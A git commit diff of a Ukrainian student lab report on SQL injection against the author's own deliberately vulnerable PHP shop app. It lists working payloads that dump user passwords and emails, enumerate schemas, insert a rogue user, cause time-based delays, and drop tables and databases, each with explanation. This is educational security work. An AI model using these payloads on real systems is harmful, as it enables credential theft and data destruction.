feat: add even more vulnerabilities!
This commit is contained in:
83
lab.typ
83
lab.typ
@ -10,23 +10,79 @@
|
||||
== Хід роботи
|
||||
#v(-spacing)
|
||||
|
||||
vulnerability.linerds.us/products
|
||||
Для виконання даної практичної роботи та для дослідження вразливостей, було написано PHP додаток,
|
||||
що розміщено за URL: https://vulnerability.linerds.us/.
|
||||
|
||||
IN PRODUCT SEARCH
|
||||
Спершу, будемо розглядати ін'єкції, що можна застосувати до поля "пошуку товару за назвою".
|
||||
Перша ін'єкція дозволяє вивести всі товари, незалежно від назви.
|
||||
`' OR 1=1 --`
|
||||
`' UNION select password, password, email from users;`
|
||||
`' or id=2; -- select item with Nth(2nd) id`
|
||||
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
|
||||
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
|
||||
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
|
||||
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
|
||||
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
|
||||
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
|
||||
#figure(image("1st_query.png"), caption: [Поле вводу даних для пошуку товару з введеним шкідливим запитом])
|
||||
На даний момент, існує всього два товари, але у випадку, якщо їх буде більше -- можна буде отримати всі можливі товари з бази даних.
|
||||
#figure(image("1st_res.png", width: 70%), caption: [Результат роботи шкідливого запиту (виведено всі товари)])
|
||||
|
||||
IN ADD PRODUCT
|
||||
`3); drop table users; `
|
||||
Далі, за допомогою наступної команди, виведемо паролі всіх користувачів з бази даних.
|
||||
`' UNION select password, password, email from users;`
|
||||
Можемо побачити, що дані користувача замінили собою дані товару.
|
||||
Це стало можливим завдяки використанню погано написаного коду,
|
||||
що дозволяє виводити неправильні типи даних та обирає їх не за назвою стовпця, а за індексом.
|
||||
#figure(image("2nd_res.png", width: 50%), caption: [Дані користувача у вигляді товару])
|
||||
|
||||
Виконаємо наступну команду, щоб обрати предмет з id, що дорівнює 2.
|
||||
`' or id=2; -- select item with Nth(2nd) id`
|
||||
#figure(image("3_res.png", width: 50%), caption: [Товар з id = 2])
|
||||
Як можемо побачити, нам справді повернувся предмет з id = 2. Цей функціонал не був задуманий розробниками,
|
||||
а це означає, що можна робити виборку і за іншими параметрами, наприклад, за кількістю товарів на складі.
|
||||
|
||||
За допомогою запиту, наведеного нижче, робимо SQL-ін'єкцію з використанням UNION та group_concat.
|
||||
Це дозволяє атакуючому (нам) вибрати всі потрібні стовпці та згрупувати їх в один.
|
||||
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
|
||||
#figure(image("4_res.png", width: 50%), caption: [Продукт з конкатенованими даними користувача])
|
||||
Використавші ці дані в формі логіну, можемо побачити, що вони є справжніми даними користувача.
|
||||
#figure(image("4_login.png"), caption: [Форма логіну])
|
||||
#figure(image("4_login_s.png"), caption: [Результат операції логін з отриманими даними])
|
||||
|
||||
Далі, спробуємо дістати з таблиці користувачів одного або більше з поштою, яка містить слово "admin".
|
||||
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
|
||||
#figure(image("5_res.png", width: 60%), caption: [Дані від акаунту адміністратора])
|
||||
|
||||
Використаємо вразливість форми і дізнаємось назви таблиць, що містяться в поточній базі даних.
|
||||
Застосувавши наступний запит, отримуємо назви всіх таблиць.
|
||||
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
|
||||
#figure(image("6_res.png", width: 50%), caption: [Назви всіх таблиць в поточній базі даних])
|
||||
|
||||
Застосунок, що відповідає за логіку додатку та взаємодію з БД, використовує правило "oдна БД на окремого користувача".
|
||||
Тож, виконавши запит, що наведений нижче, отримаємо назви всіх БД, а з цим і ID всіх користувачів додатку.
|
||||
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
|
||||
#figure(image("7_res.png", width: 50%), caption: [Назви всіх баз даних в поточній СУБД])
|
||||
|
||||
Далі, використовуючи схему з UNION SELECT, змусимо сервер виконувати складні обчислення, викликавши функцію
|
||||
BENCHMARK і передавши в неї функцію шифрування.
|
||||
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
|
||||
Як можна побачити на рисунку нижче, сервер обчислював відповідь на запит трохи більше 50 секунд.
|
||||
#figure(image("waiting_50s.png", width: 80%), caption: [Результат SQL ін'єкції на основі часу])
|
||||
|
||||
Бібліотека PDO та багато інших мають обмеження на обчислення декількох модифікуючих запитів одночасно.
|
||||
Наприклад, при виклику методу query(SQL_QUERY) на об'єкті PDO, другий запит (той, що користувач передає після крапки з комою) не виконується.
|
||||
Саме тому модифікуючи шкідливі запити є можливість робити тільки на тих формах, що використовують методифікуючі функції
|
||||
бібліотеки PDO або інших. Наприклад, exec(SQL_INSERT|UPDATE|DELETE).
|
||||
|
||||
В даному випадку, була використана форма додавання товару в каталог.
|
||||
По перше, можна виконати вставку користувача в базу даних за допомогою наступної команди.
|
||||
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
|
||||
#figure(image("8_query.png", width: 60%), caption: [Форма додавання товару з вставленим шкідливим запитом])
|
||||
Відвідавши сторінку "Users", можна побачити, що нашого користувача було успішно додано.
|
||||
#figure(image("8_res.png", width: 70%), caption: [Результат виконання шкідливого запиту])
|
||||
|
||||
Наступна команда змушує базу даних чекати 5 секунд.
|
||||
`'1'); DO SLEEP(5); #`
|
||||
#figure(image("9_res.png", width: 60%), caption: [Очікування відповіді від сервера протягом 5 секунд])
|
||||
|
||||
Запит, що наведено нижче видаляє базу даних для поточного користувача. ID для цієї бази даних знаходиться в кукі під ключем "user_id".
|
||||
Після цього додаток перестає працювати. Для того, щоб він знову запрацював, треба видалити кукі для сайту, де він розташований.
|
||||
Далі, для користувача створиться новий ID та нова база даних.
|
||||
```3); drop database `6d3147fd-d529-4dfb-a2d8-036904283326`; ```
|
||||
#figure(image("10_query.png"), caption: [Кукі, де зберігається ID користувача та шкідливий запит на видалення його бази даних])
|
||||
#figure(image("10_res.png"), caption: [Результат видалення бази даних користувача])
|
||||
// === Підготовка
|
||||
// #lorem(150)
|
||||
|
||||
@ -37,6 +93,9 @@ IN ADD PRODUCT
|
||||
// #lorem(250)
|
||||
|
||||
== Висновки
|
||||
Було проведено ознайомлення з вразливостями типу "ін’єкції", зокрема SQL-ін'єкціями.
|
||||
Був розроблений веб-тренажер для ін'єкій мовою PHP, що демонструє потенціальну небезпеку.
|
||||
Були проведені різні типи атак, включаючи атаки часом, екранування запиту, ін'єкції в параметри та використання UNION і group_concat.
|
||||
|
||||
// == Контрольні запитання
|
||||
// #lorem(100):
|
||||
|
Reference in New Issue
Block a user